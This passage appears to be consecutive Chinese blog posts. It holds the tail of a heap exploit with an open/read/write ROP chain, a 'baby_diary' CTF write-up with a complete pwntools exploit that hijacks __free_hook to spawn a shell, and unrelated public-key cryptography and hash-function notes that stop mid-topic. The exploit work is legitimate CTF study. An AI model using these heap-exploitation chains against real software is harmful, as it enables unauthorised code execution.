add(0x20)                           # chunk #11, goalkeeper
edit(9, cyclic(0x28))               # this can change the chunk #9's size from 0x511 to 0x500
edit(9, cyclic(0x20) + p64(0x810 + 0x30 - 0x10))        # write correct prev_size
edit(10, cyclic(0xF0) + p64(0) + p64(0x41))

for i in range(7):
    delete(8 - i)                   # delete chunk #2~8
delete(10)

for i in range(2):
    add(0xF0)                       # recover chunk #1, 2
add(0xF0 + 0x100)                   # recover chunk #3
main_arena = show(3) - 96
print(hex(main_arena))
__malloc_hook = main_arena - 0x10
base = __malloc_hook - libc.symbols['__malloc_hook']
__free_hook = base + libc.symbols['__free_hook']
setcontext = base + libc.symbols['setcontext']
openfile = base + libc.symbols['open']
readfile = base + libc.symbols['read']
writefile = base + libc.symbols['write']
poprdi_ret = base + 0x23B6A
poprsi_ret = base + 0x2601F
poprdx_ret = base + 0x142C92
addrsp0x18_ret = base + 0x349ea

add(0xF0 + 0x100)                   # chunk #5
edit(5, cyclic(0xF0) + p64(0) + p64(0x101) + p64(__free_hook))
add(0xF0)                           # chunk #6
add(0xF0)                           # chunk #7, to __free_hook
edit(7, p64(setcontext + 0x3D))     # change __free_hook to setcontext + 0x3D, ready for stack pivoting

add(0xF0 + 0x100)                   # chunk #8
chunk8_addr = chunk1_addr + 0x410

ROP = b'/flag'.ljust(0x30, b'\x00')     # 0x0
ROP += p64(chunk8_addr + 0x10)          # 0x30
ROP += p64(poprsi_ret)                  # 0x38
ROP += p64(2)                           # 0x40
ROP += p64(openfile)                    # 0x48
ROP += p64(poprdi_ret)                  # 0x50
ROP += p64(3)                           # 0x58
ROP += p64(poprsi_ret)                  # 0x60
ROP += p64(chunk8_addr + 0xF0)          # 0x68
ROP += p64(poprdx_ret)                  # 0x70
ROP += p64(0x30)                        # 0x78
ROP += p64(readfile)                    # 0x80
ROP += p64(poprdi_ret)                  # 0x88
ROP += p64(1)                           # 0x90
ROP += p64(addrsp0x18_ret)              # 0x98
ROP += p64(chunk8_addr + 0x40)          # 0xA0
ROP += p64(poprdi_ret)                  # 0xA8
ROP += p64(0xdeadbeef)                  # 0xB0
ROP += p64(poprsi_ret)                  # 0xB8
ROP += p64(chunk8_addr + 0xF0)          # 0xC0
ROP += p64(poprdx_ret)                  # 0xC8
ROP += p64(0x30)                        # 0xD0
ROP += p64(writefile)                   # 0xD8
edit(8, ROP)
gdb.attach(io)
time.sleep(5)
delete(8)

io.interactive()

这是一道经典的堆题，可以写入、读取和删除。其中最值得研究的就是write函数最后调用的一个函数，其中涉及几个迷之计算。

Step 1: 漏洞分析

我们进入unknown_handle函数（名字是笔者自己起的）：

后面有一个unknown_cal函数，这个函数对输入的字符串进行了一系列的操作。首先将各个字符取出将它们的ASCII码全加起来保存到一个变量a中，然后循环进行下面的计算：如果a大于0xF，计算a = (a >> 4) + (a & 0xF)直到a小于0xF为止。返回到unknown_handle函数中，这里对字符串的后面一位进行了修改。但write函数一开始会要求输入size，申请的空间大小是size+1，这就需要注意read_buf这个函数了。当循环退出的时候，i的值应该就是max_len，此时后面的buf[i]=0实际上已经相对于max_len溢出了一个字节。因此unknown_handle函数中最后一条语句实际上相对于size溢出了2个字节。这可能会修改到下一个chunk的size。

本题还存在数组溢出漏洞。

请注意read函数，其中并没有对index进行检查，而在check_terminator函数中，存在有整型溢出漏洞，当index为负数时有可能通过检查。


但在数组溢出之后，想让check_terminator函数返回true并不容易，需要匹配结束符的ASCII码。

同样地，delete函数中也存在整型溢出漏洞，但如果对应地址不是有效的堆地址，就会直接报错，因此这里也不好利用：

Step 2: 确定利用方式，调试编写exp

这里需要注意unknown_handle函数时如何溢出一个字节的。在最后一条语句中，unknown_handle函数只会修改这个溢出字节的最低4位，最高4位不变。而堆管理中正常情况下所有的堆块大小都是以整0x10的形式保存的，即所有堆块的大小都是0x10的倍数。因此仅仅依靠一个字节的溢出无法达到堆块重叠的目的。

这里参考这篇文章的思路，利用large bin进行中转。当large bin中只有一个chunk时，其四个指针fd、bk、fd_nextsize、bk_nextsize有fd=bk在main_arena，fd_nextsize=bk_nextsize就是chunk自身。

当我们再一次分配到这一块内存空间时，我们就可以对这里面残留的4个指针进行改写，将其伪造成一个假chunk，这个chunk的fd指针就是原来的fd_nextsize指针，bk指针就是原来的bk_nextsize指针，将原来的bk指针改为合适的size，准备进行unlink操作。unlink操作最为关键的就是假chunk中两个指针的值，fd需要等于假chunk-0x18，bk需要等于假chunk-0x10。前面说过当large bin中仅有一个chunk时，其fd_nextsize和bk_nextsize均指向其自身，因此这里的bk不需要修改，但fd需要修改。注意：这里需要一定的爆破：由于写入时会在后面加上零字节和标志位，因此需要爆破chunk地址的其中8位，成功率为1/256：

在爆破成功之后，我们就通过unlink实现了堆块重叠，申请合适的大小就可以使得main_arena的地址可以被其他chunk所读取。

在获取libc地址后，我们还是利用堆块重叠这一特性，修改tcache的指向到__free_hook，将其改为system地址。然后释放堆块即可。

需要注意的是：假chunk头部应该写的是假chunk的地址而不应该是其他值，因为unlink_chunk函数中那个fd->bk=p || bk->fd=p这个检查中p是一个指针。因此我们还需要想办法让这里的值变成假chunk的地址。前面说过，我们通过切割large bin chunk可以获得两个地址，然后我们要改写其中一个地址。改写之后我们再一次释放这个chunk，这时这个chunk会进入到fastbin中，这就有可能会在假chunk头部写上一个有效的地址。我们只需要将这个chunk重新分配回来，修改这个地址，就有可能满足unlink的检查条件。（注意：不能让chunk进入tcache的原因是tcache chunk的bk指针实际指向tcache那个结构体，因此会破坏假chunk的结构，覆盖我们写入的size值，导致unlink在检查size时就失败）

另外，对于最初进入large bin的chunk的大小也有讲究。在第一次写假chunk信息时，我们需要写入一个size的值，而这个size的值会影响到最后的校验位。如果size的值设置得不正确，那么第一次写入和第二次写入计算出来的校验位就会不一样，这样是不可能利用成功的。因为第一次写入影响的是假chunk的fd指针，第二次写入影响的是假chunk地址本身，二者的校验位必须相等才可能使得unlink的检查通过。经过验证，这里的假chunk的size可以写0x800，但是不能写0x700、0x600等值。

exp如下，平均需要爆破约350次，这和爆破的期望不符，原因暂时不明。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'

io = process('./baby_diary')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

def write_diary(size, content):
    io.sendlineafter(b'>> ', b'1')
    io.sendlineafter(b'size: ', str(size).encode())
    io.sendafter(b'content: ', content)

def read_diary(index):
    io.sendlineafter(b'>> ', b'2')
    io.sendlineafter(b'index: ', str(index).encode())

def delete_diary(index):
    io.sendlineafter(b'>> ', b'3')
    io.sendlineafter(b'index: ', str(index).encode())

flag = True
counter = 0
while(flag):
    write_diary(0x1070 - 0x290 - 0x10 + 0x4000, b'\n')      # chunk #0
    write_diary(0x810 - 0x30 - 0x10, b'\n')                 # chunk #1
    write_diary(0x20, b'\n')                                # chunk #2
    delete_diary(1)
    write_diary(0x800, b'\n')                               # chunk #1, previous chunk #1 to large bin
    write_diary(0x20, p64(0x10) + p64(0x800) + b'\x68\n')   # chunk #3
    for i in range(3):
        write_diary(0x20, b'flag\n')                        # chunk #4~6
    write_diary(0x6B0, b'\n')                               # chunk #7
    for i in range(3):
        write_diary(0x20, b'flag\n')                        # chunk #8~10

    for i in range(7):
        write_diary(0x20, b'\n')                            # chunk #11~17
    for i in range(7):
        delete_diary(11+i)                                  # to tcache

    delete_diary(4)
    delete_diary(3)                                         # write the chunk_addr to fake chunk's header

    for i in range(7):
        write_diary(0x20, b'\n')                            # empty tcache, chunk #3, #4, #11~15

    write_diary(0x20, b'\x80\n')                            # chunk #16, change the chunk address
    delete_diary(2)
    write_diary(0x27, b'\x00' * 0x27)                       # chunk #2, change the prev_inuse bit of chunk #1
    delete_diary(2)
    write_diary(0x27, b'\x00' * 0x18 + p64(8) + b'\n')      # chunk #2, change the prev_size of chunk #2 to 0x500
    delete_diary(1)                                         # trigger unlink
    try:
        write_diary(0x40, b'deadbeef\n')                    # chunk #1
        break
    except EOFError:
        io.close()
        io = process('./baby_diary')
        counter += 1
        print(counter)

read_diary(5)
io.recvuntil(b'content: ')
__malloc_hook = u64(io.recv(6) + b'\x00\x00') - 96 - 0x10
base = __malloc_hook - libc.symbols['__malloc_hook']
__free_hook = base + libc.symbols['__free_hook']
system = base + libc.symbols['system']
print(hex(__free_hook))

write_diary(0x20, b'\n')
delete_diary(12)
delete_diary(6)
write_diary(0x50, b'a' * 0x20 + p64(0) + p64(0x31) + p64(__free_hook) + b'\n')
write_diary(0x20, b'/bin/sh\n')
write_diary(0x20, p64(system) + b'\n')
delete_diary(12)

io.interactive()

公钥密码体制

对称密钥的三大问题

1. 密钥交换
2. 密钥管理：每两个用户之间的密钥都不相同
3. 抵赖行为：不承认发送过某条消息

单向陷门函数

希望可以找到一个密码体制，对于给定的加密e_k，除了消息接受者，求d_k在计算上不可行。其中e_k可公开，无需分享密钥。
单向函数：一个函数容易计算但求逆困难。（还没有一个函数没证明单向）
单向陷门函数：存在一个单向函数，该函数在具有特定知识（称为陷门）后容易求逆

单向函数定义

假定n=pq（p、q为不同的大素数），b为正整数，定义f：Z_n→Z_n，f(x)=x^b mod n
陷门：大数n的因式分解
若已知n的因式分解n=pq，则$\varphi(n)$=(p-1)(q-1)
若gcd(b,φ(n))=1，且ab$\equiv$ 1 mod φ(n)
f^-1：Z_n→Z_n，f^-1(x)=x^a mod n

公钥密码使用方式

用于加密：公钥加密私钥解密，无需交换密钥
用于认证：防止抵赖，如果要证明某文件为自己生成，则可以使用自己的私钥加密，其他人接收到之后通过公钥验证签名，用手中的所有公钥尝试，使用谁的公钥能够解密就是谁生成的文件

RSA算法

数学基础

欧拉定理：$(a,n)=1,a^{\varphi(n)}\equiv 1\pmod n$
费马小定理：$a^p\equiv a\pmod p$

密码算法

n=pq，K={(n,p,q,e,d): ed$\equiv$ 1 mod φ(n)}
定义$e_k(x)=x^e\pmod n,d_k(y)=y^d\pmod n,(x,y\in Z_n)$，(n,e)为公钥，(n,d)为私钥

参数生成

素性检测、公私钥对
加解密过程的快速实现：

• 平方-乘算法
• 蒙哥马利算法
• 中国剩余定理加速解密

平方-乘算法

要计算$a^b\mod n$：

$$b=\sum_{i=0}^{l-1}b_i2^i,b_i\in\{0,1\},b_{l-1}=1\\ b=b_{l-1}2^{l-1}+b_{l-2}2^{l-2}+...+b_1\cdot 2+b_0\\ =2(2(...(2(b_{l-1})+b_{l-2})+...)+b_1)+b_0\\ a^b=a^{\sum_{i=0}^{l-1}b_i2^i}=(((...(1\times a^{b_{l-1}})^2\times a^{b_{l-2}})^2\times ...)^2\times a^{b_1})^2\times a^{b_0}$$

（实际上就是模平方重复法的变体）

如上图示例：
9726² $\equiv$ 2659(mod 11413)
2659² $\equiv$ 5634(mod 11413)

蒙哥马利算法

蒙哥马利变换
d=2³²，2⁶⁴，假设d=2³²
模N：：k=32n比特奇数，IN=-N^-1 mod 2³²
R=dⁿ>N，(R,N)=1，a,b∈Z_N
A=Mont(a) = aR mod N
MontInv(A) = AR^-1 mod N
MontInv(Mont(a)) = a mod N

A = Mont(a), B = Mont(b)
MontMult(A,B)=ABR^-1 = aRbRR^-1 = abR mod N = Mont(ab mod N)
MontMult(A,MontMult(A,A))=Mont(a³ mod N)

MontMult(A,B) = ABR^-1 mod N
T = AB, 2n位整数，T=(0t_2n-1t_2n-2…t₁t₀)
计算T’=T+N×((t₀×IN) mod 2³²)
(1) T’ = T mod N
(2) T’ = t₀+(N×IN)t₀ = 0 mod 2³²
(3) T’ >> 32, T’ = T×2³² mod N
令T=T’, 重复上述步骤n次，T×2^-32n = TR^-1 mod N
T’ = (0ct_n-1’t_n-2’…t₀’)，如果T’>N，返回T’-N，否则返回T’=(t_n-1’t_n-2’…t₀’)

快速模幂运算a^e mod N

中国剩余定理

把解密时的一个式子拆成两个式子来算（模p和q）

素数定理

$$\pi(N)\approx\frac{N}{\ln N}$$

若n=pq，为1024比特，则p,q为512比特
$\frac{1}{\ln 2^{512}}\approx\frac{1}{355}$（为素数的概率）

素性检测

费马素性检测：若p为素数，(a,p)=1，则a^p-1 = 1 mod p

伪素数：设n为奇合数，如果整数b，(b,n)=1，使得b^n-1=1 mod n，则称n为对于基b的伪素数

Euler伪素数：设n为正奇合数，整数b，(b,n)=1，满足$b^{\frac{p-1}{2}}\equiv (\frac{b}{n})\mod n$，称n为对于基b的Euler伪素数

p-1=2^st，$a^{p-1}-1=(a^{2^{s-1}t}+1)(a^{2^{s-2}t}+1)...(a^{t}+1)(a^{t}+1)$
则下列同余式中至少有一个成立：
$a^t\equiv -1\mod p, a^{2t}\equiv -1\mod p,...,a^{2^{s-1}t}\equiv -1\mod p$
强伪素数：设n为奇合数，n-1=2^st，t为奇数，整数b与n互素，满足b^t=1 mod n，或者存在r，0≤r<s，有$b^{2^rt}\equiv -1\mod n$，称n为对于基b的强伪素数

Solovay-Strassen算法
随机选择整数a在1到n-1之间，x=$(\frac{a}{n})$，若x=0则n为合数；若$x\equiv a^{\frac{n-1}{2}}\pmod n$则n是素数，否则为合数（计算雅可比符号）
判断具有1/2的错误概率（若n为素数则输出一定为素数，若n为合数则有1/2的概率输出为合数）

Miller-Rabin算法
n-1=2^st的形式，其中t为奇数
随机选择整数a在1到n-1之间
计算$b=a^t\mod n$
如果$b\equiv 1\pmod n$，那么n为素数；否则进行下列循环：
for i=0 to s-1:
if $b\equiv -1\pmod n$，then n是素数
else b=b² mod n
若循环能结束则n为合数

若n为强伪素数，则输出可能为素数；若n为素数，则输出一定为素数，具有1/4的错误概率，优于Solovay-Strassen算法

AKS算法
确定性素性检测方法
理论基础：$a\in Z,n\in N,n\ge 2,(a,n)=1$，n是素数，当且仅当$(x+a)^n=x^n+a\pmod n$
该算法为该理论复杂度的改进：$(x+a)^n=x^n+a\pmod {x^r-1,n}$
算法的时间复杂度高于概率算法

• 若存在整数a>0且b>1，满足n=a^b，则输出合数
• 找出满足$\operatorname {ord}_r(n)>\log_2n$的最小的r
• 若对a≤r，1<gcd(a,n)<n，输出合数
• 若n≤r，输出素数
• for a=1 to $\lfloor{\sqrt{\varphi(r)}\log n}\rfloor$ do
  • if (x+a)ⁿ≠xⁿ+a (mod x^r-1, n)，输出合数
• 输出素数

共模攻击

给群组中每个人相同的公钥n，但指数e和d不同时可能产生共模攻击

• 对于群组内成员，即使不分解n也可以解密其他人消息
  $e_1d_1\equiv 1\mod \varphi(n),e_2d_2\equiv 1\mod \varphi(n)$
  $e_2d_2'\equiv 1\mod(e_1d_1-1)\Rightarrow e_2d_2'\equiv 1\mod \varphi(n)$
  （自己有$e_1,d_1$，因此可以计算$d_2'$）
• 群组外人员如果截获到发送给群组不同成员的同一消息，而两个加密指数互素，则可以直接恢复消息
  令m为明文消息，加密指数为$e_1,e_2$，且二者互素，故存在r,s使得$re_1+se_2=1$，假设r为负数
  则$(c_1^{-1})^{-r}c_2^s=m^{re_1+se_2}=m\mod n$

小加密指数攻击

若选择的e较小（如3），则加密会很快
Coppersmith定理攻击：n为大整数，f为次数为e的多项式，可以在log n时间内有效计算出f(x)=0 mod n的小于$n^{\frac{1}{e}}$的解。
应避免使用小的加密指数，e最少应选取2¹⁶+1=65537
在短消息加密之前应该首先填充

总结

教科书式的RSA方案是不安全的，速度慢是其主要缺点（硬件实现比DES慢1000倍，软件慢100倍，选择特定的e值能够大大加快RSA的速度）
可用于加密、密钥交换和数字签名

Rabin密码体制

设n=pq，其中p,q为素数，均为4k+3型素数
P=C=Z_n，且定义K={(n,p,q)}
对于k=(n,p,q)，定义
$e_k(x)=x^2\pmod n, d_k(y)=\sqrt y\pmod n$
（x,y∈Z_n），其中n为公钥，p、q为私钥

这是一个单向陷门函数，陷门为n的分解。f(x)=x² mod n

公开密钥算法

加密：$C=E_{K_{pub}}(P)$
解密：$P=D_{K_{prv}}(C)$
两个密钥不能相互推导（或推导的难度不亚于密码分析）
其中一个密钥公开（$K_{pub}$），另一个密钥保密（$K_{prv}$）
每一个用户掌握一个私钥，并将相应的公钥放在公共目录中

问题：如何让别人正确知道你的公钥？（如何保证你发出的公钥不被篡改/如何证明一个公钥是不是你的？）
答案：通过可信授权中心（PKI），每个人将自己的公钥发给PKI，由PKI为该公钥签名，相当于提供一个证书，在将这个有签名的公钥返还给用户。

离散对数问题

对于乘法群$(G,\cdot)$，一个n阶元素a∈G和β∈<a>
问题：找到唯一非负整数i不大于n-1，满足aⁱ=β
将整数i记为$\operatorname {ind}_{\alpha}(\beta)$，称为β的离散对数

Diffie-Hellman算法

交换素数p和本原元g
Alice和Bob选择各自的私钥，Alice向Bob发送X=g^x mod p，Bob向Alice发送Y=g^y mod p。
之后Alice计算k=Y^x mod p，Bob计算k=X^y mod p，二者计算的值相等，实现密钥交换。

上述的密钥交换方案不安全。容易遭受中间人攻击。
如果Eve能够截获两者发送的X和Y，他用自己的密钥进行计算然后分别发送给Alice和Bob，这样A和B接收到的就是Eve的值。

ElGamal密码体制

假设p为一个大素数，使得p构成乘法群上的离散对数问题难解。令α∈Z_p是一个本原元，令P=Z_p*，C=Z_p×Z_p，定义K={(p,α,a,β): β=α^a mod p}
其中p,α,β为公钥，a为私钥。
对k=(p,α,a,β)以及一个秘密的随机数r∈Z_p-1，定义e_k(x,r)=(y₁, y₂)
其中y₁=α^r mod p, y₂=xβ^r mod p
定义d_k(y₁, y₂)=y₂(y₁^a)^-1 mod p
注意r在加密的时候需要随机选择，加密后应立即销毁不能在信道上传输。
加密运算具有不确定性。
注意三个公钥中只有β与私钥a直接相关。

椭圆曲线

设a,b∈R是满足$4a^3+27b^2\ne 0$的实常数，方程$y^2=x^3+ax+b$所有解(x, y)∈R×R连同一个无穷远点$O$组成的集合E称为一个非奇异椭圆曲线。

从函数图像来看，椭圆曲线有两种，一种有一条线，一种有两条线

Weierstrass方程

定义在代数闭域$\bar K$上射影平面坐标的一般方程
$Y^2Z+a_1XYZ+a_3YZ^2=X^3+a_2X^2Z+a_4XZ^2+a_6Z^3 (a_1,a_2,a_3,a_4,a_6\in\bar K)$
K上的射影平面P²(K)是K³/{(0, 0, 0)}上关系~的等价类集合，每个等价类记作(X:Y:Z)
(X₁,Y₁,Z₁) ~ (X₂,Y₂,Z₂)
$F(X,Y,Z)=Y^2Z+a_1XYZ+a_3YZ^2-X^3-a_2X^2Z-a_4XZ^2-a_6Z^3=0$
非奇异：$\frac{\partial F}{\partial X},\frac{\partial F}{\partial Y},\frac{\partial F}{\partial Z}$在P点至少有一个非0。

椭圆曲线E：非奇异Weierstrass方程的所有P²($\bar K$)的解
y²+a₁xy+a₃y=x³+a₂x²+a₄x+a₆

(E,+)是一个以无穷远点0为单位元的阿贝尔群，加法规则为：
$P+0=0+P=P\\ -0=0\\ P=(x_1,y_1)\ne 0, -P=(x_1,-y_1-a_1x_1-a_3)\\ Q=-P,P+Q=0 P,Q\ne 0,Q\ne -P,P+Q=-R$
其中R为直线PQ或过点P的切线与椭圆曲线的第三个交点

（当P和Q重合时，直线是曲线的切线，把y作为因变量对x求导计算$\frac{dy}{dx}$）

椭圆曲线密码（ECC）

阶：有限域F_q上的椭圆曲线E(F_q)由点组成，其上点的数量即为#E(F_q)。称为椭圆曲线的阶。

倍点运算：P+P

椭圆曲线离散对数问题：已知曲线E(F_q)，阶为n的点G∈E(F_q)，P∈<G>，椭圆曲线离散对数问题是指确定整数k∈[0,…,n-1]使得P=KG成立。

安全参数的选取：
(q, a, b, G, n, h)
对于特征为p的有限域F_q
其中a、b为椭圆曲线的参数，G为基点，阶为n，有限域F_q的特征为p

$F_p(p>3): y^2=x^3+ax+b,a,b\in F_p,(4a^3+27b^2)\mod p\ne 0$
$F_{2^m}(p=2): y^2+xy=x^3+ax+b,a,b\in F_{2^m}, b\ne 0$

存在弱椭圆曲线：超奇异曲线（$p|q+1-\#E(F_q)$）和异常曲线（$\#E(F_q)=p$）

可以基于ECC构建DH密钥交换协议：首先选择公开参数$(q,F_q,E,G,n)$，Alice发送$P_a=aG$，Bob发送$P_b=bG$，二者交换后计算分别得到$S=abG$即为私钥。（仍然易受到中间人攻击）

也可以基于ECC构建ElGamal密码体制：首先选择公开参数$(q,F_q,E,G,n), A:(d_A,P_A),P_A=d_AG$
B发送明文消息m给A需要加密：
随机选择$r\in Z_n$
计算$C_1=rG, Q=rP_A(Q_x\ne 0);C_2=mQ_x$
发送$(C_1,C_2)$给A
解密：$d_AC_1=d_ArG=rP_A=Q,m=C_2Q_x^{-1}$

数字签名

签名方案：一个签名方案由一个五元组构成（P,A,K,S,V），其中
P是所有可能的消息组成的有限集
A是所有可能的签名组成的有限集
K是所有可能的密钥组成的有限集（密钥空间）
对于每一个k∈K，有一个秘密的签名函数sig_k∈S和一个相应的公开的验证函数ver_k∈V，sig_k：P→A，ver_k：P×A→{true, false}，满足：
当y=sig_k(x)时，ver_k(x,y)=true，否则为false

RSA签名方案

设n=pq，p，q为素数，P=A=Z_n，定义K={(n,p,q,e,d): ed $\equiv$ 1 mod φ(n)}
对于k=(n,p,q,e,d)，定义sig_k(x)=x^d mod n和ver_k(x,y)=true ↔ x=y^e mod n
(x,y∈Z_n)，(n,e)为公钥，(n,d)为私钥

存在性伪造问题：任何人都可以伪造他人的签名y，对应消息为x=e_k(y)=y^e，一般这个消息是无意义的，但要防止攻击者计算大量的e_k(y)，找出有意义的值从而伪造签名。
可以通过给消息添加可以识别的冗余信息或者对消息摘要后签名

选择密文攻击：
假设A响应E的任何签名要求：$c=m^e mod n$
$x=r^e\mod n,y=xc\mod n$
$y^d\mod n=(xc)^d\mod n=rc^d\mod n$
$r^{-1}y^d\mod n=r^{-1}rc^d\mod n=m$

若E想得到A关于消息m的签名，$m=m_1m_2\mod n$，可以通过m₁和m₂的签名构造m的签名。
$m^d\mod n=(m_1m_2)^d\mod n=(m_1^d\mod n)(m_2^d\mod n)\mod n$

因此不要对陌生消息签名，签名之前先对消息求摘要、身份认证。

签名和公钥加密结合的方案：

• 第一种方案：先签名后加密——$y=sig_{Alice}(x),z=e_{Bob}(x,y)$
• 第二种方案：先加密后签名——$z=e_{Bob}(x),y=sig_{Alice}(z)$
• 第二种方案可能存在伪造签名混淆发送者的问题，因此采用第一种方案更好。

ElGamal签名方案：
设p为一个大素数，使得$(Z_p^*, \cdot)$上的离散对数问题难解。令$\alpha\in Z_p^*$是一个本原元，令$P=Z_p^*,A=Z_p^*\times Z_{p-1}$，定义$K=\{(p,\alpha,a,\beta):\beta=\alpha^a\mod p\}$
其中$p,\alpha,\beta$为公钥，$a$为私钥
对$k=(p,\alpha,a,\beta)$以及一个秘密的随机数$r\in Z_{p-1}^*$，定义$sig_k(x,r)=(\gamma,\delta)$
其中$\gamma=\alpha^r\mod p,\delta=(x-a\gamma)r^{-1}\mod p-1$
对于$x,\gamma\in Z_p^*,\delta\in Z_{p-1}$
定义$ver(x,(y,\delta))=true\Leftrightarrow \beta^\gamma\gamma^\delta\equiv\alpha^x\mod p$
容易证明$\beta^\gamma\gamma^\delta\equiv\alpha^{a\gamma+r(x-a\gamma)r^{-1}\mod p-1}\equiv\alpha^x\mod p$

数字签名标准

DSA算法，签名比验证快很多，不能加密和密钥分配，专用于数字签名，比RSA慢
设p是一个大素数，使得$(Z_p^*, \cdot)$上的离散对数问题难解。令$\alpha\in Z_p^*$是一个q阶元素（q为素数），$<\alpha>$上的离散对数问题也难解。（整数k与p-1互素，k∈[0, p-2]，q|p-1）

$$\gamma=\alpha^k\mod p,\delta=(x+a\gamma)k^{-1}\mod p-1(k\in Z_{p-1}^*)\\ \because k\delta\equiv x+a\gamma\mod p-1,\therefore\alpha^{k\delta}\equiv\alpha^{x+a\gamma}\mod p\\ \Rightarrow\alpha^x\beta^\gamma\equiv\gamma^\delta\mod p,\delta=(x+a\gamma)k^{-1}\mod q\\ \gamma'=\gamma\mod q=(\alpha^k\mod p)\mod q,\delta=(x+a\gamma')k^{-1}\mod q\\ \alpha^x\beta^{\gamma'}\equiv\gamma^\delta\mod p\\ \gamma=(\alpha^x\beta^{\gamma'})^{\delta^{-1}\mod q}\mod p\Rightarrow \gamma= (\alpha^{x\delta^{-1}\mod q}\beta^{\gamma'\delta^{-1}\mod q}\mod p)\mod q=\gamma'$$

验证$\gamma= (\alpha^{x\delta^{-1}\mod q}\beta^{\gamma'\delta^{-1}\mod q}\mod p)\mod q=\gamma'$是否成立。成立则数字签名有效。

$$sig_K(x,k)=(\gamma, \delta), \gamma=(\alpha^k\mod p)\mod q,\delta=(\operatorname {SHA-1}(x)+a\gamma)k^{-1}\mod q\\ e_1=\operatorname {SHA-1}(x)\delta^{-1}\mod q,e_2=\gamma\delta^{-1}\mod q\\ ver_K(x,(\gamma,\delta))=true\Leftrightarrow(\alpha^{e_1}\beta^{e_2}\mod p)\mod q=\gamma$$

椭圆曲线数字签名

p是一个大素数，E定义在F_p上的椭圆曲线。设A是E上阶为q（素数）的一个点，使得在<A>上的离散对数问题是难处理的。设P={0,1}*，A=Z_q*×Z_q*，定义K={(p,q,E,A,m,B): B=mA}
其中0≤m≤q-1，值p,q,E,A,B为公钥，m为私钥。
对于K和一个秘密的随机数k，1≤k≤q-1，定义

$$sig_K(x,k)=(r,s)$$

其中

PGP安全协议

一种以用户为中心的可提供机密性和鉴别的安全协议。

若需要签名和加密，则先签名再加密，如需压缩则加密后压缩：$Z(Sig(H(M),kR_a)||M)$

4.1 数据完整性

信息安全的三个要点：机密性、完整性、可用性
被动攻击：攻击者只能监听；主动攻击：攻击者可能会干扰通信

• 数据完整性是对抗对消息未授权修改的安全服务
• 有些应用不需要机密性
  解决完整性问题：添加冗余
• 对称技术：Hash函数（散列函数），报文鉴别码（MAC）
• 非对称技术：数字签名

Hash函数

H(M)作用于一个任意长度的消息M，返回固定长度（通常超过128比特）的散列值h：
h=H(M)

• 有时也称为摘要函数、散列函数或杂凑函数
• h也被称为消息或数据的“摘要”或“指纹”
• 带密钥的Hash函数：可以将h和M一起在不安全的信道中传输
• 不带密钥的Hash函数：h必须安全存放以保证h不被篡改

作用：

• 口令保护
• 构造报文鉴别码HMAC
• 数字签名
• 伪随机数生成器

要求：

• 快速：给定M，很容易计算h
• 单向：给定h，根据H(M)=h无法计算出M
• 防碰撞：给定M，要找到另一条消息M’并满足二者摘要相等困难或找到任意两个具有相同散列值的不同消息困难

假定h：X→Y，|X|≥|Y|，设x∈X，定义y=h(x)

• 单向性（原像稳固性）：给定摘要y，找到x使得h(x)=y困难
• 第二原像稳固性：给定消息x∈X，找到一个x’∈X且x’≠x，使得h(x)=h(x’)困难
• 碰撞稳固性：对于任意x，x’∈X，找到x≠x’且h(x)=h(x’)的二元组(x，x’)困难

理想的Hash函数应该满足：对于给定的x，只能通过函数h计算得到h(x)的值，而无法通过其他条件得到；已知h(x₁)，h(x₂)，…，无法间接推出h(x)，其中x与x₁，x₂，…均不相等

随机预言机ROM

• 提供“理想”Hash函数的数学模型
• 确定性、有效性和均匀输出

令$F^{X,Y}$是所有从X到Y的函数集合，假定|X|=N，|Y|=M，随机从$F^{X,Y}$中选择一个Hash函数h：X→Y，对于任意的输入x，其输出值为均匀的，计算h(x)的唯一方法是询问随机预言机。

定理：假定$h\in F^{X,Y}$随机选择，令$X_0\in X$，假定当且仅当$x\in X_0$时。h(x)被确定，则对所有的$x\in X \backslash X_0,y\in Y$都有$Pr[h(x)=y]=\frac{1}{M}$

原像问题

Find - Preimage(h, y, Q)
选择任意的$X_0\subseteq X,|X_0|=Q$
for each x∈X₀
do: if h(x)=y then return(x)
return (failure)

对于任意的$X_0\subseteq X,|X_0|=Q$，算法的平均成功率为$\varepsilon=1-(1-\frac{1}{M})^{Q}$

证明：给定y∈Y，令X₀={x₁，x₂，…，x_Q}
对于1≤i≤Q，有$Pr[E_i]=\frac{1}{M}$
则有$Pr[E_1 \vee E_2 \vee ... \vee E_Q]=1-(1-\frac{1}{M})^Q$
对于任意给定的y的成功率是常数，故结论成立。Q远小于M，故$\varepsilon\approx\frac{Q}{M}$（舍弃了后面的M^-1的高次项）

第二原像问题

拉斯维加斯算法
Find - Second - Preimage(h, y, Q)
y=h(x)
选择$X_0\subseteq X\backslash\{x\},|X_0|=Q-1$
for each x₀∈X₀
do: if h(x₀)=y then return(x₀)
return failure

对于任意的$X_0\subseteq X\backslash\{x\},|X_0|=Q-1$，算法的成功率为$\varepsilon=1-(1-\frac{1}{M})^{Q-1}$

碰撞问题

生日攻击
Find - Collision(h, Q)
选择任意的$X_0\subseteq X,|X_0|=Q$
for each x∈X₀
do y_x=h(x)
if 对某一x’∈X，有y_x=y_x’
then return (x,x’)
else return (failure)

对于任意的$X_0\subseteq X,|X_0|=Q$，算法平均成功率为

$$\varepsilon=1-(\frac{M-1}{M}\frac{M-2}{M}...\frac{M-Q+1}{M})$$

$$Q\approx\sqrt{2M\ln\frac{1}{1-\varepsilon}}$$

证明：

$$\varepsilon=1-(\frac{M-1}{M}\frac{M-2}{M}...\frac{M-Q+1}{M})\\ \approx\prod_{i=1}^{k-1}e^{-\frac{i}{M}}=e^{-\frac{k(k-1)}{2M}}$$

对一个输出空间大小为M的随机函数，只需要计算大约$\sqrt{M}$个函数值就能够以一个不可忽略的概率发现一个碰撞。因此Hash函数的输出空间大小必须有一个下界。

安全性准则的比较

Collision - To - Second - Preimage(h)
external Oracle - 2nd - Preimage
均匀随机选择x∈X
if Oracle - 2nd - Preimage(h,x)=x’
then return (x,x’)
else return (failure)

碰撞问题可以归约到第二原像问题，因此可以说碰撞稳固性质意味着第二原像稳固性质。

Collision - To - Preimage(h)
